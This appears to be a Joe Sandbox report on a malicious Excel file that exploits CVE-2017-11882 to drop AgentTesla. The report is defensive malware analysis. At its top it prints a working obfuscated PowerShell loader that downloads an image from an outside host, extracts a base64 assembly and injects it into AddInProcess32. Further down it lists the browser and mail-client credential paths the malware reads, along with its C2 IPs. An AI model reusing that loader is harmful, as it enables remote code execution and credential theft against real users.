Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command ".( $pshome[21]+$pshome[34]+'x') ( ('t0vlink = amahttps://uploadde'+'imagens.com.br/images/004/807/053/origin'+'al/new_image.jpg?1719846235ama; t0vwebclient = new-object system.net.webclient; try { t0vdownloadeddata = t0vwebclient.downloaddata(t0vlink) } catch'+' { write-host amafailed to do'+'wnload data from t0vlin'+'kama -foregroundcolor red'+'; exit }; if ('+'t0vdownloadeddata -ne t0vnull) { t0vimagetext = [system.text.encoding]::ut'+'f8.getstring(t0vdownloadeddata); t0vstartflag = ama<<base64_start>>ama; t0vendflag = ama<<base64_end>>ama; t0vstartindex = t0vimagetext.indexof(t0vstartflag); t0vendindex = t0vimagetext.indexof(t0vendflag); if (t0vstartindex -ge 0 -and t0vendindex -gt t0vstart'+'index) { t0vstartindex += t0vstartf'+'lag.length; t0vbase64len'+'gth = t0vendindex - t0vstartindex; t0vba'+'se64command = t0vimagetext.substring(t0vstartindex, t0vb'+'ase64length); t0vcommandbytes = [system.convert]::frombase64string(t0vbase64c'+'ommand); t0vloadedassembly = [system.reflection.as'+'sembly]::load(t0vcommandbytes); t0vtype = t'+'0vloadedassembly.gettype('+'amarunpe.homeama); t0vmethod = t0vtype.getmethod(amavaiama).invoke(t'+'0vnull, [object[]] (amatxt.esablanoitidartruo/651'+'.342.3.291//:ptthama , '+'amadesativadoama , amadesativadoama'+' , amade'+'sativadoama,amaaddinpro'+'cess32ama,amaama)) } }set scriptblock t0vlink = amahttps://uploaddeimage'+'ns.com.br/images/004/806/083/original/new_image.jpg?1719607612am'+'a; t0vwebclient = new-o'+'bject system.net.webclien'+'t; try { t0vdownloadeddata = t0vwebclient.downloaddata(t0vlink) } catch { write-host amafailed to download data from t0vlinkama -foregroundcolor red; exit }; if (t0vdownloadeddata -ne t0vnull) { t0vimagetext = [system.text.encoding]::utf8.'+'getstring(t0vdownloadeddata); t0vstartflag '+'= ama<<base64_start>>ama; t0vendflag = ama<<base64_end'+'>>ama; t0vstartindex = t'+'0vi'+'magetext.indexof(t0vstartflag'+'); t0vendindex = t0vimagetext.index'+'of(t0vendflag); if (t0vstartindex '+'-g'+'e 0 -and t0vendindex -gt t0vstartindex) { '+'t0vstartindex += t0vstartflag.length; t0vbase64l'+'ength = t0vendindex - t0vstartindex; t0vbase64command'+' = t0vimagetext.substring(t0vstartindex, t0vbase64length); t0vcommandb'+'ytes = [sy'+'stem.convert]:'+':frombase64string(t0vbase64command); t0vloadedassembly = [system.reflection.assembly]::load(t0vcommandbytes); t0vtype = t0vloadedassembly.'+'gettype(amarunpe.homeama); t0vmethod ='+' t0vtype.getmet'+'hod(amavaiama).invoke(t0vnull,'+' [ob'+'ject[]] (amatxt.esabla'+'noitidartruo/651.342.'+'3.291//:ptthama , amadesativadoama , amadesativadoama , amadesativadoama,amaaddinprocess32ama,amadesativadoama)) } }').replace('t0v','$').replace(([char]65+[char]109+[char]97),[string][char]39) )"			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe VolumeInformation	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 6.2.powershell.exe.3aa4df8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.powershell.exe.3aa4df8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.478369752.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.481125469.0000000003499000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.481125469.0000000003AA4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2200, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 3000, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 6.2.powershell.exe.3aa4df8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.powershell.exe.3aa4df8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.618799471.0000000002545000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.478369752.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.478863572.0000000002545000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.481125469.0000000003499000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.481125469.0000000003AA4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2200, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 3000, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 1652, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 6.2.powershell.exe.3aa4df8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.powershell.exe.3aa4df8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.478369752.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.481125469.0000000003499000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.481125469.0000000003AA4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2200, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 3000, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	21 Scripting	Valid Accounts	231 Windows Management Instrumentation	21 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	23 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	311 Process Injection	11 Deobfuscate/Decode Files or Information	1 Input Capture	34 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	43 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	Security Account Manager	531 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	211 Command and Scripting Interpreter	Login Hook	Login Hook	1 Install Root Certificate	NTDS	1 Process Discovery	Distributed Component Object Model	1 Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	261 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	1 Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	261 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	311 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
orden de compra.xlam.xlsx	68%	ReversingLabs	Document-Office.Exploit.CVE-2017-11882
orden de compra.xlam.xlsx	47%	Virustotal		Browse
orden de compra.xlam.xlsx	100%	Avira	EXP/CVE-2017-11882.Gen

Source	Detection	Scanner	Label	Link
ip-api.com	0%	Virustotal		Browse
uploaddeimagens.com.br	5%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
https://account.dyn.com/	0%	URL Reputation	safe
http://crl.entrust.net/server1.crl0	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://ip-api.com	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://secure.comodo.com/CPS0	0%	URL Reputation	safe
http://crl.entrust.net/2048ca.crl0	0%	URL Reputation	safe
http://ip-api.com/line/?fields=hosting	0%	URL Reputation	safe
http://192.3.243.156/portugalslovenia.jpega	0%	Avira URL Cloud	safe
http://192.3.243.156/portugalslovenia.jpegj	0%	Avira URL Cloud	safe
https://uploaddeimagens.com.br/images/004/807/053/original/new_image.jpg?1719846235Ama;	0%	Avira URL Cloud	safe
http://41.216.183.13/Users_API/BrainiacMAX/file_rkwgrfjw.g0i.txtz	0%	Avira URL Cloud	safe
http://192.3.243.156/portugalslovenia.jpeg	0%	Avira URL Cloud	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	Avira URL Cloud	safe
http://192.3.243.156/ourTraditionalbase.txt	0%	Avira URL Cloud	safe
https://uploaddeimagens.com.br/images/004/806/083/original/new_image.jpg?1719607612Ama;	0%	Avira URL Cloud	safe
http://41.216.183.13/Users_API/BrainiacMAX/file_rkwgrfjw.g0i.txt	0%	Avira URL Cloud	safe
https://uploaddeimagens.com.br/images/004/806/083/original/new_image.jpg?1719607612	0%	Avira URL Cloud	safe
http://41.216.183.13/Users_API/BrainiacMAX/file_rkwgrfjw.g0i.txtC:	0%	Avira URL Cloud	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	Virustotal		Browse
http://www.w3.	0%	Avira URL Cloud	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	Avira URL Cloud	safe
https://uploaddeimagens.com.br	0%	Avira URL Cloud	safe
http://192.3.243.156/portugalslovenia.jpegr	0%	Avira URL Cloud	safe
http://go.microsoft.c	0%	Avira URL Cloud	safe
https://uploaddeimagens.com.br/images/004/807/053/original/new_image.jpg?1719846235	0%	Avira URL Cloud	safe
http://192.3.243.156/ourTraditionalbase.txt	13%	Virustotal		Browse
https://uploaddeimagens.com.br	6%	Virustotal		Browse
http://192.3.243.156/portugalslovenia.jpeguuC:	0%	Avira URL Cloud	safe
http://192.3.243.156	0%	Avira URL Cloud	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	Virustotal		Browse
http://192.3.243.156	11%	Virustotal		Browse
https://uploaddeimagens.com.br/images/004/807/053/original/new_image.jpg?1719846235	5%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ip-api.com	208.95.112.1	true	true	0%, Virustotal, Browse	unknown
uploaddeimagens.com.br	188.114.96.3	true	false	5%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://192.3.243.156/portugalslovenia.jpeg	true	Avira URL Cloud: safe	unknown
http://192.3.243.156/ourTraditionalbase.txt	true	13%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://uploaddeimagens.com.br/images/004/807/053/original/new_image.jpg?1719846235	true	5%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://ip-api.com/line/?fields=hosting	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://192.3.243.156/portugalslovenia.jpega	EQNEDT32.EXE, 00000002.00000002.462891948.0000000000622000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000006.00000002.481125469.0000000003359000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://account.dyn.com/	powershell.exe, 00000006.00000002.481125469.0000000003AA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.481125469.0000000003499000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.478369752.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.entrust.net/server1.crl0	powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://uploaddeimagens.com.br/images/004/807/053/original/new_image.jpg?1719846235Ama;	powershell.exe, 00000006.00000002.479060921.000000000246A000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://192.3.243.156/portugalslovenia.jpegj	EQNEDT32.EXE, 00000002.00000002.463247767.0000000003520000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.entrust.net03	powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://41.216.183.13/Users_API/BrainiacMAX/file_rkwgrfjw.g0i.txtz	wscript.exe, 00000005.00000003.484540516.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.484859196.00000000007A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000006.00000002.481125469.0000000003359000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000006.00000002.481125469.0000000003359000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://uploaddeimagens.com.br/images/004/806/083/original/new_image.jpg?1719607612Ama;	powershell.exe, 00000006.00000002.479060921.000000000246A000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://41.216.183.13/Users_API/BrainiacMAX/file_rkwgrfjw.g0i.txt	wscript.exe, 00000005.00000002.484789084.00000000001C7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.484687327.000000000075D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.484826885.000000000075E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.484692972.0000000000756000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.484826885.0000000000757000.00000004.00000020.00020000.00000000.sdmp, portugalslovenia[1].jpg.2.dr, portugalslovenia.js.2.dr	false	Avira URL Cloud: safe	unknown
https://uploaddeimagens.com.br/images/004/806/083/original/new_image.jpg?1719607612	powershell.exe, 00000006.00000002.479060921.000000000246A000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://41.216.183.13/Users_API/BrainiacMAX/file_rkwgrfjw.g0i.txtC:	wscript.exe, 00000005.00000002.484826885.0000000000773000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.484735410.000000000075D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.484751886.0000000000772000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.484687327.000000000075D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.w3.	AddInProcess32.exe, 00000009.00000002.618799471.0000000002519000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://uploaddeimagens.com.br	powershell.exe, 00000006.00000002.479060921.000000000246A000.00000004.00000800.00020000.00000000.sdmp	true	6%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000006.00000002.481125469.0000000003359000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000006.00000002.481125469.0000000003359000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ip-api.com	AddInProcess32.exe, 00000008.00000002.478863572.0000000002511000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.478863572.00000000025AE000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.478863572.00000000025CB000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.618799471.00000000025CB000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.618799471.000000000251B000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.618799471.00000000025AE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://192.3.243.156/portugalslovenia.jpegr	EQNEDT32.EXE, 00000002.00000002.462891948.0000000000622000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://go.microsoft.c	powershell.exe, 00000006.00000002.478435107.00000000005FC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://192.3.243.156/portugalslovenia.jpeguuC:	EQNEDT32.EXE, 00000002.00000002.462891948.0000000000622000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.entrust.net0D	powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000006.00000002.479060921.0000000002331000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.478863572.0000000002511000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.478863572.00000000025AE000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.618799471.000000000251B000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.618799471.00000000025AE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://secure.comodo.com/CPS0	powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.entrust.net/2048ca.crl0	powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://192.3.243.156	powershell.exe, 00000006.00000002.479060921.00000000025B5000.00000004.00000800.00020000.00000000.sdmp	false	11%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	true
188.114.96.3	uploaddeimagens.com.br	European Union	13335	CLOUDFLARENETUS	false
192.3.243.156	unknown	United States	36352	AS-COLOCROSSINGUS	true
41.216.183.13	unknown	South Africa	40676	AS40676US	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1465900
Start date and time:	2024-07-02 08:20:27 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	orden de compra.xlam.xlsx
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winXLSX@10/8@3/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 93% Number of executed functions: 60 Number of non-executed functions: 7
Cookbook Comments:	Found application associated with file extension: .xlsx Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, conhost.exe
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:22:07	API Interceptor	56x Sleep call for process: EQNEDT32.EXE modified
02:22:10	API Interceptor	89x Sleep call for process: wscript.exe modified
02:22:11	API Interceptor	26x Sleep call for process: powershell.exe modified
02:22:15	API Interceptor	23x Sleep call for process: AddInProcess32.exe modified

LLM Input / Output

Input

Output

URL: Office document Model: gpt-4o

```json{  "riskscore": 0,  "reasons": "The provided screenshot is completely blank with no visible text, buttons, or links. Therefore, there is no evidence of any malicious content, sense of urgency, or impersonation of well-known brands. The document does not pose any phishing risk based on the provided image."}

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	KWOTASIE.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	ServerManager.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
